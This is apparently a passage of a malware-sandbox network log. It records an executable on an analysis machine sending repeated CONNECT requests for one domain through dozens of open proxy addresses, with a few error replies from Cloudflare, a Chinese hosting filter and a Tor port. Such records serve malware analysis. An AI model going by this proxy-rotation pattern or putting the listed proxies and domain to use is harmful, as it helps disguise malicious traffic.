Mar 11, 2024 15:21:03.381067038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.9	51313	184.170.249.65	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.227022886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.9	50475	162.241.46.69	46849	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.227222919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325299978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.9	51257	116.62.147.249	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.229511976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.570708036 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 34 38 33 35 30 32 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003904835024"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.9	50435	98.162.25.4	31654	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.317053080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.9	50431	98.178.72.21	10919	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.317441940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.9	51265	138.36.196.11	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.317645073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.9	51254	103.118.46.61	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.318449974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.9	51332	23.19.244.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.318451881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.9	50454	184.178.172.14	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.318689108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.9	50457	184.178.172.17	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.318711996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.9	51287	164.92.237.188	52395	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.318942070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.965717077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.934719086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825774908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.434839964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.137892962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.825736046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.138055086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.434422016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.9	51250	103.231.78.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.319540024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.9	51296	8.217.44.229	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.320600033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.9	51290	51.158.79.76	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.320858955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.950056076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.809619904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.638091087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.137976885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.637933969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138056993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.034516096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.825155973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.536719084 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.9	51273	91.202.230.219	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.321862936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.9	51244	123.126.158.50	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.322220087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.9	51306	47.242.15.120	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.323450089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.9	51302	58.234.116.197	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.323487043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.9	51311	51.75.125.208	48114	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.323700905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.981328964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.934917927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825956106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.638012886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.9	51322	213.19.205.18	54321	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.323990107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.9	51350	174.64.199.79	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.324014902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.9	51321	94.130.94.45	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.324179888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.9	50420	128.199.221.91	21605	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.324475050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325371981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.326359987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.330434084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
